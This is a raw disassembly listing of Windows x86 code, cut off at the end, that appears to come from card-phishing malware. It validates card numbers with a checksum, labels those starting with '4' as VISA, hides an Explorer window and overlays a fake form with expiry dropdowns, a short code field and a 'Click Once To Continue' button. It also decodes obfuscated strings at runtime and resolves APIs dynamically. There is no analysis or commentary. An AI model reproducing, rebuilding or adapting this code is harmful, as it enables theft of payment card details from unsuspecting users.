mov eax, dword_44B1C0
mov edx, [ebp+arg_0]
mov dl, [edx+8]
mov [ebp+eax+var_FB], dl
movsx eax, word_44B194
mov edx, [ebp+arg_0]
mov dl, [edx+0Ah]
mov [ebp+eax+var_F7], dl
mov eax, dword_44B120
add eax, 3
movsx edx, word_44B110
add eax, edx
mov edx, [ebp+arg_0]
mov dl, [edx+0Bh]
mov [ebp+eax+var_FF], dl
movsx eax, word_44B168
movsx edx, word_44B0B0
add eax, edx
mov edx, [ebp+arg_0]
mov dl, [edx+0Ch]
mov [ebp+eax+var_105], dl
mov eax, dword_44B1A4
mov edx, [ebp+arg_0]
mov dl, [edx+0Dh]
mov [ebp+eax+var_F4], dl
mov eax, dword_44B11C
mov edx, [ebp+arg_0]
mov dl, [edx+0Fh]
mov [ebp+eax+var_F6], dl
movsx eax, word_44B110
mov edx, [ebp+arg_0]
mov dl, [edx+10h]
mov [ebp+eax+var_F6], dl
mov eax, dword_44B158
mov edx, [ebp+arg_0]
mov dl, [edx+11h]
mov [ebp+eax+var_F1], dl
mov eax, dword_44B138
mov edx, [ebp+arg_0]
mov dl, [edx+12h]
mov [ebp+eax+var_F8], dl
movsx eax, word_44B090
mov edx, dword_44B1C4
add edx, dword_44B0EC
sub edx, 0Ah
mov [ebp+eax+var_F0], dl
jmp short loc_4412F9
; ---------------------------------------------------------------------------
loc_4412EA: ; CODE XREF: sub_44108E+B5j
push [ebp+arg_0]
lea eax, [ebp+var_FF]
push eax
call sub_444B60
loc_4412F9: ; CODE XREF: sub_44108E+25Aj
movsx esi, word_44B0DC
sub esi, 6
jmp short loc_44131A
; ---------------------------------------------------------------------------
loc_441305: ; CODE XREF: sub_44108E+29Cj
mov al, [ebp+esi+var_FF]
cmp al, 30h
jl short loc_441314
cmp al, 39h
jle short loc_441319
loc_441314: ; CODE XREF: sub_44108E+280j
jmp loc_441FC7
; ---------------------------------------------------------------------------
loc_441319: ; CODE XREF: sub_44108E+284j
inc esi
loc_44131A: ; CODE XREF: sub_44108E+275j
mov eax, dword_44B1C0
add eax, 0Bh
add eax, dword_44B0F8
cmp esi, eax
jb short loc_441305
mov eax, dword_44B0E4
add eax, dword_44B164
sub eax, 2
mov [ebp-108h], eax
mov esi, dword_44B12C
sub esi, 5
jmp short loc_441391
; ---------------------------------------------------------------------------
loc_44134B: ; CODE XREF: sub_44108E+313j
movsx eax, [ebp+esi+var_FF]
sub eax, 30h
movsx edx, word_44B0DC
add edx, dword_44B0A8
sub edx, 7
imul eax, edx
add [ebp-108h], eax
cmp [ebp+esi+var_FF], 34h
jle short loc_441385
mov eax, dword_44B09C
inc eax
sub [ebp-108h], eax
loc_441385: ; CODE XREF: sub_44108E+2E9j
movsx eax, word_44B110
sub eax, 2
add esi, eax
loc_441391: ; CODE XREF: sub_44108E+2BBj
mov eax, dword_44B190
add eax, 0Ch
add eax, dword_44B124
cmp esi, eax
jb short loc_44134B
movsx eax, word_44B168
mov ebx, eax
add ebx, dword_44B118
sub ebx, 8
jmp short loc_4413D4
; ---------------------------------------------------------------------------
loc_4413B7: ; CODE XREF: sub_44108E+350j
movsx eax, [ebp+ebx+var_FF]
sub eax, 30h
add [ebp-108h], eax
movsx eax, word_44B1BC
sub eax, 4
add ebx, eax
loc_4413D4: ; CODE XREF: sub_44108E+327j
mov eax, dword_44B12C
add eax, 0Bh
cmp ebx, eax
jb short loc_4413B7
mov eax, [ebp-108h]
mov ecx, 0Ah
xor edx, edx
div ecx
movsx edi, word_44B1A8
add edi, dword_44B108
cmp edx, edi
jnz loc_441FC7
lea eax, [ebp+var_FF]
push eax
call ds:dword_44A774
pop ecx
or eax, eax
jnz loc_441FC7
mov eax, dword_44B0C0
movsx edx, word_44B154
mov esi, eax
add esi, edx
sub esi, 9
mov esi, dword_44B190
sub esi, 3
jmp short loc_441450
; ---------------------------------------------------------------------------
loc_441438: ; CODE XREF: sub_44108E+3D5j
mov eax, 30h
mul esi
mov [ebp+var_264], eax
cmp ds:dword_448370[eax], 0
jz short loc_441465
inc esi
loc_441450: ; CODE XREF: sub_44108E+3A8j
mov eax, dword_44B174
add eax, 5Bh
movsx edx, word_44B1A8
add eax, edx
cmp esi, eax
jb short loc_441438
loc_441465: ; CODE XREF: sub_44108E+3BFj
mov eax, dword_44B13C
add eax, 62h
cmp esi, eax
jz loc_441FC7
mov eax, 30h
mul esi
mov [ebp+var_268], eax
mov eax, [ebp+arg_4]
mov edx, [ebp+var_268]
mov ds:dword_448370[edx], eax
push offset word_44BEFE
call sub_4424C1
pop ecx
push 0
push eax
push 0
push [ebp+arg_4]
call ds:dword_44A638 ; FindWindowExA
mov [ebp+var_134], eax
test eax, eax
jnz short loc_4414BE
mov eax, [ebp+arg_4]
mov [ebp+var_134], eax
loc_4414BE: ; CODE XREF: sub_44108E+425j
push offset asc_44BEF1 ; "\t"
call sub_4424C1
push eax
push [ebp+var_134]
call sub_43D7F1
mov [ebp+var_12C], eax
push offset aExplorer ; "Explorer"
push eax
call sub_43D7F1
add esp, 14h
mov [ebp+var_26C], eax
mov eax, 30h
mul esi
mov [ebp+var_270], eax
mov edi, [ebp+var_26C]
mov ebx, eax
mov ds:dword_448374[ebx], edi
push 0
mov eax, 30h
mul esi
mov [ebp+var_274], eax
push ds:dword_448374[eax]
call ds:dword_44A658 ; ShowWindow
lea eax, [ebp+var_11C]
push eax
push [ebp+var_12C]
call ds:dword_44A650 ; GetWindowRect
push 0
call ds:dword_4475E8 ; GetModuleHandleA
mov [ebp-10Ch], eax
push 0
push eax
push 0
push [ebp+var_12C]
mov eax, [ebp+var_110]
sub eax, [ebp+var_118]
push eax
mov eax, [ebp+var_114]
sub eax, [ebp+var_11C]
push eax
mov eax, dword_44B0FC
add eax, dword_44B1B4
sub eax, 8
push eax
mov eax, dword_44B124
dec eax
push eax
push 50800000h
lea eax, [ebp+var_FF]
push eax
push offset aKkqVx ; "kkq-vx"
push 200h
call ds:dword_449648 ; CreateWindowExA
mov [ebp+var_278], eax
mov eax, 30h
mul esi
mov [ebp+var_27C], eax
mov edi, [ebp+var_278]
mov ebx, eax
mov ds:dword_448378[ebx], edi
mov edi, [ebp+var_110]
sub edi, [ebp+var_118]
mov ebx, dword_44B0CC
add ebx, 0F9h
sub edi, ebx
mov ebx, dword_44B124
add ebx, 34h
add ebx, dword_44B10C
mov eax, edi
sub eax, ebx
xor edx, edx
test eax, eax
setl dl
add eax, edx
sar eax, 1
mov [ebp+var_124], eax
mov eax, dword_44B0F0
movsx edx, word_44B0DC
add eax, edx
sub eax, 0Ah
cmp [ebp+var_124], eax
jge short loc_441625
mov eax, dword_44B14C
sub eax, 5
mov [ebp+var_124], eax
loc_441625: ; CODE XREF: sub_44108E+587j
mov eax, [ebp+var_114]
sub eax, [ebp+var_11C]
movsx edx, word_44B0D8
add edx, 28h
sub eax, edx
mov [ebp+var_120], eax
push offset byte_44BED7
call sub_4424C1
mov [ebp+var_280], eax
push offset word_44BEBE
call sub_4424C1
mov [ebp+var_284], eax
push 0
push dword ptr [ebp-10Ch]
push 0
mov eax, 30h
mul esi
mov [ebp+var_288], eax
mov edi, eax
push ds:dword_448378[edi]
mov edi, dword_44B14C
add edi, 36h
push edi
push [ebp+var_120]
push [ebp+var_124]
mov edi, dword_44B0C0
add edi, 13h
add edi, dword_44B130
push edi
push 50800000h
mov edi, [ebp+var_284]
push edi
mov edi, [ebp+var_280]
push edi
movsx edi, word_44B194
add edi, dword_44B0F8
sub edi, 2
push edi
call ds:dword_449648 ; CreateWindowExA
mov [ebp+var_138], eax
push offset dword_44BEB4
call sub_4424C1
mov [ebp+var_28C], eax
push offset dword_44BEB0
call sub_4424C1
add esp, 10h
mov [ebp+var_290], eax
push 0
push dword ptr [ebp-10Ch]
push 0
mov eax, 30h
mul esi
mov [ebp+var_294], eax
mov edi, eax
push ds:dword_448378[edi]
movsx edi, word_44B0E0
mov ebx, dword_44B15C
lea edi, [edi+ebx+0F6h]
push edi
push [ebp+var_120]
mov edi, [ebp+var_124]
mov ebx, dword_44B12C
add ebx, 30h
movsx edx, word_44B0C8
add ebx, edx
add edi, ebx
mov ebx, dword_44B130
inc ebx
add edi, ebx
push edi
movsx edi, word_44B194
add edi, 14h
push edi
push 50800009h
mov edi, [ebp+var_290]
push edi
mov edi, [ebp+var_28C]
push edi
mov edi, dword_44B0B4
add edi, dword_44B1B4
sub edi, 9
push edi
call ds:dword_449648 ; CreateWindowExA
mov [ebp+var_13C], eax
push 0
push 2
push 0
push 0
push 5
push 1
mov eax, dword_44B1B4
dec eax
push eax
mov eax, dword_44B118
add eax, dword_44B174
sub eax, 0Ah
push eax
mov eax, dword_44B0B8
movsx edx, word_44B0E8
add eax, edx
sub eax, 9
push eax
push 2BCh
mov eax, dword_44B17C
movsx edx, word_44B128
add eax, edx
sub eax, 6
push eax
mov eax, dword_44B10C
add eax, dword_44B178
sub eax, 0Ah
push eax
movsx eax, word_44B16C
add eax, 4
push eax
mov eax, dword_44B164
add eax, 10h
add eax, dword_44B0A0
push eax
call ds:dword_448250 ; CreateFontA
mov [ebp+var_140], eax
push 1
push eax
push 30h
push [ebp+var_138]
call ds:dword_445014 ; SendMessageA
push 0
push dword ptr [ebp-10Ch]
push 0
push [ebp+var_13C]
mov eax, dword_44B0F0
add eax, 0EDh
add eax, dword_44B174
movsx edx, word_44B168
sub edx, 4
sub eax, edx
push eax
mov eax, [ebp+var_120]
mov edx, dword_44B1B8
movsx ecx, word_44B0BC
add edx, ecx
sub edx, 8
sub eax, edx
push eax
movsx eax, word_44B1BC
add eax, dword_44B11C
sub eax, 8
push eax
mov eax, dword_44B0EC
sub eax, 4
push eax
push 50000000h
push offset asc_44BEA7 ; " "
push offset aStatic ; "STATIC"
mov eax, dword_44B0B4
sub eax, 8
push eax
call ds:dword_449648 ; CreateWindowExA
mov [ebp+var_298], eax
mov eax, 30h
mul esi
mov [ebp+var_29C], eax
mov edi, [ebp+var_298]
mov ebx, eax
mov ds:dword_44837C[ebx], edi
mov eax, dword_44B0A4
movsx edx, word_44B0C8
add eax, edx
cmp [ebp+eax+var_108], 34h
jnz short loc_4418F3
push offset aVisa ; "VISA"
lea eax, [ebp+var_253]
push eax
call sub_444B60
jmp short loc_44190B
; ---------------------------------------------------------------------------
loc_4418F3: ; CODE XREF: sub_44108E+850j
push offset asc_44BE94 ; "\n"
call sub_4424C1
pop ecx
push eax
lea edi, [ebp+var_253]
push edi
call sub_444B60
loc_44190B: ; CODE XREF: sub_44108E+863j
push offset word_44BE22
call sub_4424C1
lea edi, [ebp+var_FF]
push edi
lea edi, [ebp+var_253]
push edi
push eax
lea edi, [ebp+var_23F]
push edi
call ds:dword_44A634
push offset dword_44BE18
call sub_4424C1
add esp, 18h
mov [ebp+var_2A0], eax
push 0
push dword ptr [ebp-10Ch]
push 0
mov eax, 30h
mul esi
mov [ebp+var_2A4], eax
mov edi, eax
push ds:dword_44837C[edi]
mov edi, dword_44B144
add edi, 2Bh
push edi
push [ebp+var_120]
mov edi, dword_44B190
add edi, 7
push edi
mov edi, dword_44B1C4
add edi, 5
push edi
push 50000000h
lea edi, [ebp+var_23F]
push edi
mov edi, [ebp+var_2A0]
push edi
mov edi, dword_44B098
movsx ebx, word_44B0D8
add edi, ebx
sub edi, 0Ch
push edi
call ds:dword_449648 ; CreateWindowExA
mov [ebp+var_258], eax
push 0
push 2
push 0
push 0
push 5
push 1
mov eax, dword_44B0B8
sub eax, 4
push eax
mov eax, dword_44B158
add eax, dword_44B18C
dec eax
push eax
movsx eax, word_44B100
sub eax, 9
push eax
push 190h
mov eax, dword_44B198
sub eax, 8
push eax
mov eax, dword_44B0C4
sub eax, 4
push eax
movsx eax, word_44B168
sub eax, 2
push eax
mov eax, dword_44B0A8
add eax, 9
movsx edx, word_44B110
add eax, edx
push eax
call ds:dword_448250 ; CreateFontA
mov [ebp+var_130], eax
push 1
push eax
push 30h
push [ebp+var_258]
call ds:dword_445014 ; SendMessageA
push 0
push dword ptr [ebp-10Ch]
push 0
mov eax, 30h
mul esi
mov [ebp+var_2A8], eax
mov [ebp+var_2AC], eax
push ds:dword_44837C[eax]
mov edx, dword_44B0FC
add edx, 121h
add edx, dword_44B0B8
push edx
mov edx, dword_44B0EC
movsx ecx, word_44B100
lea ecx, [ecx+edx+24h]
push ecx
mov ecx, dword_44B1B0
mov ebx, dword_44B094
add ebx, 45h
add ebx, ecx
push ebx
mov ebx, dword_44B174
inc ebx
push ebx
push 50800003h
push offset byte_44BE0E
push offset aCombobox ; "COMBOBOX"
add edx, ecx
sub edx, 5
push edx
call ds:dword_449648 ; CreateWindowExA
mov edi, [ebp+var_2AC]
mov ds:dword_448380[edi], eax
push 0
push dword ptr [ebp-10Ch]
push 0
mov eax, 30h
mul esi
mov [ebp+var_2B0], eax
mov [ebp+var_2B4], eax
push ds:dword_44837C[eax]
movsx edx, word_44B110
mov ecx, dword_44B108
lea edx, [edx+ecx+128h]
push edx
movsx edx, word_44B0B0
mov ecx, dword_44B0F0
lea edx, [edx+ecx+30h]
push edx
movsx edx, word_44B0E8
mov ecx, dword_44B0E4
add ecx, 44h
add ecx, edx
push ecx
mov ecx, dword_44B104
add ecx, 3Eh
add ecx, edx
push ecx
push 50800003h
push offset byte_44BE0E
push offset aCombobox ; "COMBOBOX"
movsx edx, word_44B148
sub edx, 3
push edx
call ds:dword_449648 ; CreateWindowExA
mov edi, [ebp+var_2B4]
mov ds:dword_448384[edi], eax
mov eax, dword_44B134
add eax, dword_44B120
sub eax, 4
mov [ebp+var_102], ax
jmp loc_441C28
; ---------------------------------------------------------------------------
loc_441B74: ; CODE XREF: sub_44108E+BACj
push offset word_44BE06
call sub_4424C1
movzx edi, [ebp+var_102]
push edi
push eax
lea edi, [ebp+var_2BE]
push edi
call ds:dword_44A634
lea eax, [ebp+var_2BE]
push eax
mov eax, dword_44B0B8
add eax, dword_44B0B4
sub eax, 0Ch
push eax
push 143h
mov eax, 30h
mul esi
mov [ebp+var_2C4], eax
push ds:dword_448380[eax]
call ds:dword_445014 ; SendMessageA
push offset dword_44BDFC
call sub_4424C1
movzx edi, [ebp+var_102]
mov ebx, dword_44B0EC
inc ebx
add edi, ebx
push edi
push eax
lea edi, [ebp+var_2BE]
push edi
call ds:dword_44A634
add esp, 20h
lea eax, [ebp+var_2BE]
push eax
push dword_44B130
push 143h
mov eax, 30h
mul esi
mov [ebp+var_2C8], eax
push ds:dword_448384[eax]
call ds:dword_445014 ; SendMessageA
inc [ebp+var_102]
loc_441C28: ; CODE XREF: sub_44108E+AE1j
movzx eax, [ebp+var_102]
mov edx, dword_44B1A4
add edx, 0Dh
cmp eax, edx
jl loc_441B74
push 0
push dword ptr [ebp-10Ch]
push 0
mov eax, 30h
mul esi
mov [ebp+var_2B8], eax
mov [ebp+var_2BC], eax
push ds:dword_44837C[eax]
movsx edx, word_44B110
add edx, 14h
push edx
mov edx, dword_44B138
add edx, 4Dh
movsx ecx, word_44B0E0
add edx, ecx
push edx
movsx edx, word_44B0D8
add edx, 77h
push edx
movsx edx, word_44B19C
add edx, 29h
push edx
push 50800000h
push offset byte_44BE0E
push offset aEdit ; "EDIT"
push 200h
call ds:dword_449648 ; CreateWindowExA
mov edi, [ebp+var_2BC]
mov ds:dword_448388[edi], eax
movsx eax, word_44B0BC
add eax, dword_44B0AC
sub eax, 0Ch
push eax
push 58h
push 0CCh
mov eax, 30h
mul esi
mov [ebp-2C0h], eax
push ds:dword_448388[eax]
call ds:dword_445014 ; SendMessageA
push offset byte_44BDED
call sub_4424C1
mov [ebp+var_2C4], eax
push offset byte_44BDCB
call sub_4424C1
add esp, 8
mov [ebp+var_2C8], eax
push 0
push dword ptr [ebp-10Ch]
push 0
mov eax, 30h
mul esi
mov [ebp+var_2CC], eax
mov edi, eax
push ds:dword_44837C[edi]
mov edi, dword_44B138
add edi, 38h
add edi, dword_44B1B0
push edi
push [ebp+var_120]
movsx edi, word_44B154
add edi, 47h
push edi
movsx edi, word_44B0F4
movsx ebx, word_44B148
lea edi, [edi+ebx+8Ah]
push edi
push 50000000h
mov edi, [ebp+var_2C8]
push edi
mov edi, [ebp+var_2C4]
push edi
mov edi, dword_44B0FC
movsx ebx, word_44B16C
add edi, ebx
sub edi, 0Bh
push edi
call ds:dword_449648 ; CreateWindowExA
mov [ebp+var_25C], eax
push 1
push [ebp+var_130]
push 30h
push eax
call ds:dword_445014 ; SendMessageA
push 0
push dword ptr [ebp-10Ch]
push 0
mov eax, 30h
mul esi
mov [ebp+var_2D0], eax
mov [ebp+var_2D4], eax
push ds:dword_44837C[eax]
mov edx, dword_44B178
add edx, 14h
push edx
mov edx, dword_44B188
add edx, 93h
add edx, dword_44B198
push edx
mov edx, dword_44B14C
add edx, 0EDh
add edx, dword_44B098
mov ecx, dword_44B0F0
add ecx, 1Fh
sub edx, ecx
push edx
mov edx, dword_44B13C
add edx, 8
push edx
push 50800000h
push offset aClickOnceToCon ; "Click Once To Continue"
push offset aButton ; "BUTTON"
mov edx, dword_44B1C0
add edx, dword_44B0C4
sub edx, 7
push edx
call ds:dword_449648 ; CreateWindowExA
mov edi, [ebp+var_2D4]
mov ds:dword_44838C[edi], eax
push 1
push [ebp+var_130]
mov eax, 30h
push 30h
mul esi
mov [ebp+var_2D8], eax
push ds:dword_44838C[eax]
call ds:dword_445014 ; SendMessageA
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_2DC], eax
mov [ebp+var_2E0], eax
push ds:dword_448380[eax]
call ds:dword_44A628 ; GetWindowLongA
mov edi, [ebp+var_2E0]
mov ds:dword_448390[edi], eax
push offset sub_43A34D
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_2E4], eax
push ds:dword_448380[eax]
call ds:dword_4475F8 ; SetWindowLongA
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_2E8], eax
mov [ebp+var_2EC], eax
push ds:dword_448384[eax]
call ds:dword_44A628 ; GetWindowLongA
mov edi, [ebp+var_2EC]
mov ds:dword_448394[edi], eax
push offset sub_43A34D
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_2F0], eax
push ds:dword_448384[eax]
call ds:dword_4475F8 ; SetWindowLongA
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_2F4], eax
mov [ebp+var_2F8], eax
push ds:dword_448388[eax]
call ds:dword_44A628 ; GetWindowLongA
mov edi, [ebp+var_2F8]
mov ds:dword_448398[edi], eax
push offset sub_43A34D
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_2FC], eax
push ds:dword_448388[eax]
call ds:dword_4475F8 ; SetWindowLongA
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_300], eax
mov [ebp+var_304], eax
push ds:dword_44837C[eax]
call ds:dword_44A628 ; GetWindowLongA
mov edi, [ebp+var_304]
mov ds:dword_44839C[edi], eax
push offset sub_43A34D
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_308], eax
push ds:dword_44837C[eax]
call ds:dword_4475F8 ; SetWindowLongA
mov eax, 30h
mul esi
mov [ebp+var_30C], eax
push ds:dword_448380[eax]
call ds:dword_447A40 ; SetFocus
loc_441FC7: ; CODE XREF: sub_44108E+10j
; sub_44108E+21j ...
pop edi
pop esi
pop ebx
leave
retn
sub_44108E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_441FCC proc near ; CODE XREF: sub_43B52C+1C4p
; sub_43C154+20p ...
var_120A = byte ptr -120Ah
var_110B = byte ptr -110Bh
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1004 = dword ptr -1004h
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 120Ch
call sub_444B40
push ebx
push esi
push edi
push offset word_44B97E
call sub_4424C1
push eax
lea edi, [ebp+var_FFF]
push edi
call ds:dword_44A634
add esp, 0Ch
mov eax, dword_44B0EC
mov esi, eax
add esi, dword_44B144
sub esi, 0Ah
jmp short loc_442029
; ---------------------------------------------------------------------------
loc_442009: ; CODE XREF: sub_441FCC+63j
cmp [ebp+esi+var_FFF], 23h
jnz short loc_442028
mov eax, dword_44B0F8
add eax, dword_44B118
sub eax, 3
mov [ebp+esi+var_FFF], al
loc_442028: ; CODE XREF: sub_441FCC+45j
inc esi
loc_442029: ; CODE XREF: sub_441FCC+3Bj
cmp esi, 0FFFh
jb short loc_442009
mov eax, dword_44B0F8
add eax, dword_44B184
sub eax, 8
mov [ebp+var_1004], eax
mov eax, dword_44B108
mov ebx, eax
add ebx, dword_44B12C
sub ebx, 5
cmp [ebp+arg_0], 0
jnz short loc_4420B4
loc_44205B: ; CODE XREF: sub_441FCC+E6j
mov eax, [ebp+arg_4]
cmp [ebp+var_1004], eax
jnz short loc_44207D
lea eax, [ebp+ebx+var_FFF]
push eax
push offset dword_44A670
call sub_444B60
jmp loc_442313
; ---------------------------------------------------------------------------
loc_44207D: ; CODE XREF: sub_441FCC+98j
lea ecx, [ebp+ebx+var_FFF]
or eax, 0FFFFFFFFh
loc_442087: ; CODE XREF: sub_441FCC+C0j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_442087
add ebx, eax
add ebx, 1
inc [ebp+var_1004]
movsx eax, [ebp+ebx+var_FFF]
mov edx, dword_44B1A0
sub edx, 6
cmp eax, edx
jz loc_442313
jmp short loc_44205B
; ---------------------------------------------------------------------------
loc_4420B4: ; CODE XREF: sub_441FCC+8Dj
mov eax, dword_44B290
mov [ebp+var_1008], eax
mov eax, dword_44B094
movsx edx, word_44B0E0
add eax, edx
sub eax, 6
mov edx, [ebp+arg_0]
movsx ecx, word_44B090
dec ecx
mov [edx+eax], cl
movsx eax, word_44B180
movsx edx, word_44B1A8
mov ebx, eax
add ebx, edx
sub ebx, 6
mov eax, dword_44B1A4
mov [ebp+var_1004], eax
loc_4420FE: ; CODE XREF: sub_441FCC+31Fj
push offset byte_44B973
call sub_4424C1
push eax
lea edi, [ebp+var_110B]
push edi
call sub_444B60
lea eax, [ebp+ebx+var_FFF]
push eax
lea eax, [ebp+var_110B]
push eax
call ds:dword_445020
add esp, 0Ch
call ds:dword_44ABAC
mov ecx, 14h
cdq
idiv ecx
mov [ebp+var_100C], edx
mov eax, dword_44B0B4
sub eax, 6
cmp edx, eax
jnb loc_442236
push [ebp+var_1008]
lea eax, [ebp+var_120A]
push eax
call sub_43E1CC
mov eax, dword_44B198
add eax, dword_44B0D4
sub eax, 8
push eax
lea eax, [ebp+var_110B]
push eax
push [ebp+arg_0]
call sub_43D744
add esp, 14h
mov edi, dword_44B0B8
add edi, 0FFF3h
movsx edx, word_44B0B0
add edi, edx
cmp eax, edi
jnz short loc_4421C4
lea eax, [ebp+var_110B]
push eax
push [ebp+arg_0]
call ds:dword_445020
push offset word_44B96E
call sub_4424C1
push eax
push [ebp+arg_0]
call ds:dword_445020
add esp, 14h
loc_4421C4: ; CODE XREF: sub_441FCC+1CFj
mov eax, dword_44B17C
sub eax, 5
push eax
lea eax, [ebp+var_120A]
push eax
push [ebp+arg_0]
call sub_43D744
add esp, 0Ch
mov edi, dword_44B164
add edi, 0FFFDh
add edi, dword_44B1C8
cmp eax, edi
jnz short loc_442230
push offset byte_44B963
call sub_4424C1
push eax
push [ebp+arg_0]
call ds:dword_445020
lea eax, [ebp+var_120A]
push eax
push [ebp+arg_0]
call ds:dword_445020
push offset word_44B95E
call sub_4424C1
push eax
push [ebp+arg_0]
call ds:dword_445020
add esp, 20h
loc_442230: ; CODE XREF: sub_441FCC+227j
inc [ebp+var_1008]
loc_442236: ; CODE XREF: sub_441FCC+17Fj
push [ebp+var_1004]
call sub_443D23
pop ecx
mov [ebp+var_100C], eax
mov ecx, dword_44B0B4
sub ecx, 6
cmp eax, ecx
jnb short loc_4422B6
mov eax, dword_44B184
movsx edx, word_44B154
add eax, edx
sub eax, 0Dh
push eax
lea eax, [ebp+var_110B]
push eax
push [ebp+arg_0]
call sub_43D744
add esp, 0Ch
mov edi, dword_44B160
add edi, 0FFF4h
add edi, dword_44B1B8
cmp eax, edi
jnz short loc_4422B6
lea eax, [ebp+var_110B]
push eax
push [ebp+arg_0]
call ds:dword_445020
push offset byte_44B959
call sub_4424C1
push eax
push [ebp+arg_0]
call ds:dword_445020
add esp, 14h
loc_4422B6: ; CODE XREF: sub_441FCC+287j
; sub_441FCC+2C1j
lea ecx, [ebp+ebx+var_FFF]
or eax, 0FFFFFFFFh
loc_4422C0: ; CODE XREF: sub_441FCC+2F9j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4422C0
add ebx, eax
add ebx, 1
inc [ebp+var_1004]
movsx eax, [ebp+ebx+var_FFF]
mov edx, dword_44B0A4
add edx, dword_44B13C
sub edx, 4
cmp eax, edx
jnz loc_4420FE
push offset dword_44B954
call sub_4424C1
push eax
push [ebp+arg_0]
call ds:dword_445020
add esp, 0Ch
mov eax, [ebp+var_1008]
mov dword_44B290, eax
loc_442313: ; CODE XREF: sub_441FCC+ACj
; sub_441FCC+E0j
pop edi
pop esi
pop ebx
leave
retn
sub_441FCC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442318 proc near ; DATA XREF: sub_440914+1Fo
var_1FFF = byte ptr -1FFFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 2000h
call sub_444B40
push esi
push edi
push 1FFFh
lea eax, [ebp+var_1FFF]
push eax
push [ebp+arg_0]
call ds:dword_44ABA4 ; GetWindowTextA
push offset byte_44B93F
call sub_4424C1
mov edi, dword_44B0E4
dec edi
push edi
push eax
lea edi, [ebp+var_1FFF]
push edi
call sub_43D744
add esp, 10h
mov esi, dword_44B1C0
add esi, 0FFF8h
add esi, dword_44B1AC
cmp eax, esi
jz short loc_44237D
push [ebp+arg_0]
call sub_43EEA0
pop ecx
loc_44237D: ; CODE XREF: sub_442318+5Aj
xor eax, eax
inc eax
pop edi
pop esi
leave
retn 8
sub_442318 endp
; =============== S U B R O U T I N E =======================================
sub_442386 proc near ; CODE XREF: sub_442C0A+16p
push edi
push offset word_44B932
call sub_4424C1
pop ecx
push eax
call ds:dword_4475E8 ; GetModuleHandleA
mov dword_44B1E4, eax
test eax, eax
jnz short loc_4423B9
push offset byte_44B925
call sub_4424C1
pop ecx
push eax
call ds:dword_448244 ; LoadLibraryA
mov dword_44B1E4, eax
loc_4423B9: ; CODE XREF: sub_442386+1Aj
push offset word_44B912
call sub_4424C1
push eax
push dword_44B1E4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44ABB4, eax
push offset word_44B8FE
call sub_4424C1
push eax
push dword_44B1E4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_447620, eax
push offset word_44B8EE
call sub_4424C1
push eax
push dword_44B1E4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_4470D0, eax
push offset dword_44B8DC
call sub_4424C1
push eax
push dword_44B1E4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_4470D8, eax
push offset byte_44B8CD
call sub_4424C1
add esp, 14h
push eax
push dword_44B1E4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44A644, eax
pop edi
retn
sub_442386 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44244A proc near ; CODE XREF: sub_43B52C+A4p
; sub_43E5D5+14Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov eax, dword_44B0E4
movsx edx, word_44B0D8
mov esi, eax
add esi, edx
sub esi, 7
jmp short loc_44249D
; ---------------------------------------------------------------------------
loc_442468: ; CODE XREF: sub_44244A+56j
call ds:dword_44ABAC
mov edi, dword_44B164
add edi, 5Dh
movsx edx, word_44B110
add edi, edx
mov edx, 10624DD3h
push ecx
mov ecx, eax
imul edx
sar edx, 7
sar ecx, 1Fh
sub edx, ecx
mov eax, edx
pop ecx
add edi, eax
mov edx, edi
mov [ebx+esi], dl
inc esi
loc_44249D: ; CODE XREF: sub_44244A+1Cj
cmp esi, [ebp+arg_4]
jl short loc_442468
mov eax, [ebp+arg_4]
movsx edx, word_44B148
sub edx, 3
mov [ebx+eax], dl
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
retn
sub_44244A endp
; =============== S U B R O U T I N E =======================================
sub_4424B9 proc near ; DATA XREF: .data:0044B2C0o
mov eax, 80004001h
retn 8
sub_4424B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4424C1 proc near ; CODE XREF: sub_43A34D+205p
; sub_43A34D+2B7p ...
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
cmp dword_44B1D0, 0
jnz short loc_4424E9
push offset dword_44ABC0
call ds:dword_446008 ; InitializeCriticalSection
mov dword_44B1D0, 1
loc_4424E9: ; CODE XREF: sub_4424C1+11j
mov esi, dword_44B118
add esi, dword_44B11C
dec esi
movzx ebx, byte ptr [edi]
movzx edx, byte ptr [edi+1]
movzx edx, dx
shl edx, 8
or ebx, edx
movzx ebx, bx
add esi, ebx
mov [ebp+var_4], si
movzx eax, [ebp+var_4]
mov edx, dword_44B184
sub edx, 3
cmp eax, edx
jz short loc_44259B
push offset dword_44ABC0
call ds:dword_44A65C ; RtlEnterCriticalSection
movsx eax, word_44B0E0
add eax, 3
mov [ebp+var_2], ax
jmp short loc_44254F
; ---------------------------------------------------------------------------
loc_44253A: ; CODE XREF: sub_4424C1+98j
movzx eax, [ebp+var_2]
add eax, edi
movsx edx, byte ptr [eax]
